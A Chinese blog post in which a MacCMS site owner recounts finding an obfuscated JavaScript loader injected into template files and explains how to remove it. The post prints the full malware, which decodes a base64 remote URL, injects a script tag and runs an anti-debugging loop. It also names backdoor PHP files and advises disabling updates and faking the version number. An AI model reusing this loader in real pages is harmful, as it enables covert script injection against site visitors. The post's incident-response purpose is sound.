一、起因
某天手滑点了后台提示的「升级版本」,苹果CMS(maccms)被升级。
升级后发现官方 不支持回退版本,于是:
- 用 Python 脚本检测所有修改时间接近的文件
- 用旧备份覆盖这些文件
- 网站恢复正常运行
直到两个月后,我突然在模板 JS 末尾发现多了一段可疑脚本:
function xxSJRox(e){var t = "",n = r = c1 = c2 = 0;while (n < e.length){r = e.charCodeAt(n);if (r < 128){t += String.fromCharCode(r);n++}else if (r > 191 && r < 224){c2 = e.charCodeAt(n + 1);t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2}else{c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);n += 3}}return t}function aPnDhiTia(e){var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t = "",n,r,i,s,o,u,a,f = 0;e = e.replace(/[^A-Za-z0-9+/=]/g,"");while (f < e.length){s = m.indexOf(e.charAt(f++));o = m.indexOf(e.charAt(f++));u = m.indexOf(e.charAt(f++));a = m.indexOf(e.charAt(f++));n = s << 2 | o >> 4;r = (o & 15) << 4 | u >> 2;i = (u & 3) << 6 | a;t = t + String.fromCharCode(n);if (u != 64){t = t + String.fromCharCode(r)}if (a != 64){t = t + String.fromCharCode(i)}}return xxSJRox(t)}eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){;(function(u,r,w,d,f,c){var x = aPnDhiTia;u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c,'g'),c)));'jQuery';k = r[2] + 'c' + f[1];'Flex';v = k + f[6];var s = d.createElement(v + c[0] + c[1]),g = function(){};s.type = 'text/javascript';{s.onload = function(){g()}}s.src = u;'CSS';d.getElementsByTagName('head')[0].appendChild(s)})('aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==','FgsPmaNtZ',window,document,'jrGYBsijJU','ptbnNbK')};if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV();setInterval(function(){debugger;},100); /*138ae887806f*/function xxSJRox(e){...} function aPnDhiTia(e){...} eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){...} if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); setInterval(function(){debugger;},100); /*138ae887806f*/
起初我以为是模板内置的反调试,但几天后仍觉得不对劲,于是查看早期备份发现没有这段代码。
Google 关键词 “138ae887806f” “xxSJRox” 发现多起类似案例,甚至苹果CMS官方 GitHub 也有人反馈:https://github.com/magicblack/maccms10/issues/1268
进一步分析混淆代码,逻辑上好像没有什么危害,但有人反馈会跳转到x站,个人感觉这个是51统计的锅。我自己测试该代码没有跳转,但 这段代码会不断写入所有模板文件末尾,行为可疑,也非常没有安全感。
二、解决方案:禁止升级 + 清除后门 + 修复模板
① 禁用后台升级提示
删除以下文件:
/application/admin/controller/Update.php
同时注释或删除 /application/admin/controller/Safety.php
内远程文件检查逻辑:
// 注释掉远程文件检查功能
// $url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") ."v10/mac_files_".config('version')['code'].'.html';
// $html = mac_curl_get($url);
// $json = json_decode($html,true);
// if(!$json){
// return $this->error(lang('admin/safety/file_msg1'));
// }
② 移除后台首页升级提示按钮
编辑:
/application/admin/view/index/welcome.html
删除以下 HTML:
{if condition="$update_sql"} <table class="tbinfo ..."> ... </table> {/if}
③ 删除注入升级脚本的JS代码
编辑:
/static/js/admin_common.js
删除整段 eval(function(p,a,c,k,e,r){…}) 相关的动态脚本加载逻辑,例如:
$(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { eval(function(p,a,c,k,e,r){...}); } });
④ 修改版本号,避免后台再次提示升级
编辑:
/application/extra/version.php
把版本号改成虚构的大版本:
<?php return [ 'code' => '2049.1000.9999', ];
三、清理被植入的恶意JS
查看并修复 /application/extra/addons.php
未启用插件时正常文件内容如下:
<?php
return array (
'autoload' => false,
'hooks' =>
array (
),
'route' =>
array (
),
);
若该文件大小为 20-30KB 且结构复杂,基本可判定已被植入恶意代码
删除恶意后门文件(如果存在):
/application/extra/system.php
/application/extra/active.php
⚠️ 注意:如果不先修复 addons.php,这两个文件删除后会自动重生,而且实测宝塔防篡改也拦不住。
删除模板中所有被插入的恶意 JS 代码
可用 python 搜索 138ae887806f 关键词排查。
import os
# 要搜索的目录,当前目录用 "."
SEARCH_DIR = "."
# 要查找的关键字
KEYWORD = "138ae887806f" # 关键词1:138ae887806f 关键词2:xxSJRox
def search_js_files(root_dir, keyword):
"""
遍历目录下所有 js 文件,检查是否包含关键字
"""
matches = [] # 存放匹配到的文件
for root, _, files in os.walk(root_dir):
for file in files:
if file.endswith(".js"):
file_path = os.path.join(root, file)
try:
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
if keyword in content:
matches.append(file_path)
print(f"🔍 发现关键字: {file_path}")
except Exception as e:
print(f"⚠️ 无法读取文件: {file_path}, 错误: {e}")
if not matches:
print("✅ 没有发现包含关键字的 js 文件")
else:
print("\n📌 共发现以下文件包含关键字:")
for m in matches:
print(f" - {m}")
if __name__ == "__main__":
print(f"🚀 开始扫描目录: {SEARCH_DIR}, 关键字: {KEYWORD}\n")
search_js_files(SEARCH_DIR, KEYWORD)
另外找到一则安全通告也贴出来,可以参考:
# MACCMS 后台存在高危漏洞安全通告
## 📌 漏洞概述
MACCMS 存在无需鉴权即可操作后台的高危漏洞,最早可影响 2022 年起的多个版本。目前该漏洞尚未被修复,多个网站已遭受攻击。
## 🧨 已知攻击者特征
### 攻击者一:插件伪装入侵,篡改 JS 文件
涉及文件:
- {网站目录}/application/extra/addons.php
判定方式:
如果未启用插件,正常文件内容如下:
<?php
return array (
'autoload' => false,
'hooks' => array (),
'route' => array (),
);
若该文件大小为 20-30KB 且结构复杂,基本可判定已被植入恶意代码。
攻击行为:
修改所有 JS 文件:
- {网站根目录}/static/js/ 下所有 .js 文件
- {网站根目录}/template/主题文件/ 下所有 .js 文件
感染特征: 在 JS 文件末尾加入加密 JavaScript 木马代码
检查方式:
1. 逐个检查 JS 文件的时间戳
2. 打开 JS 文件并滚动至底部,若发现不明加密代码(风格不一致),即为感染
3. 可将代码复制到 ChatGPT 或 AI 工具进行解密分析
处理方法:
1. 用干净版本的 addons.php 文件覆盖原文件(注意:如启用了插件,替换可能导致插件失效)
2. 删除或还原被篡改的 JS 文件
3. 清理 CDN 缓存,防止病毒代码继续传播
### 攻击者二:伪装配置木马,尝试提权
涉及文件(出现即为中招):
- {网站根目录}/application/extra/active.php
- {网站根目录}/application/extra/system.php
攻击行为:
- system.php 文件在初次执行后会释放更复杂的木马代码,然后自动清除自身以隐藏痕迹
- 木马尝试提权,如 PHP 允许 `shell_exec`,攻击者可进一步控制服务器甚至重装系统
后期感染方式包括:
- 随机插入恶意跳转代码至 HTML 页面
- 隐匿式后门
处理方法:
1. 立即删除上述两个文件,不会影响正常业务
2. 检查:
- {网站根目录}/static/js/ 所有 JS 文件
- {网站根目录}/template/主题文件/ 所有 JS 文件
若被篡改,请及时恢复干净版本
## 🔒 加固建议(防止再次被入侵)
### ✅ 关闭无用功能
如果网站不需要用户登录或 POST 请求:
- 禁止所有 POST 请求
- 可在 CDN / Cloudflare / 本地 NGINX 层拦截
### ✅ 限制敏感链接
如业务必须使用 POST(如登录、注册等):
- 拦截所有包含 admin 的 URL 的 POST 请求
- 自定义规则强化安全策略
### ✅ 开启安全防护
- 启用宝塔面板防篡改
- 或使用命令行工具 chattr 锁定关键目录:
> 注意:+i 后文件无法被修改,部署更新前需执行 chattr -i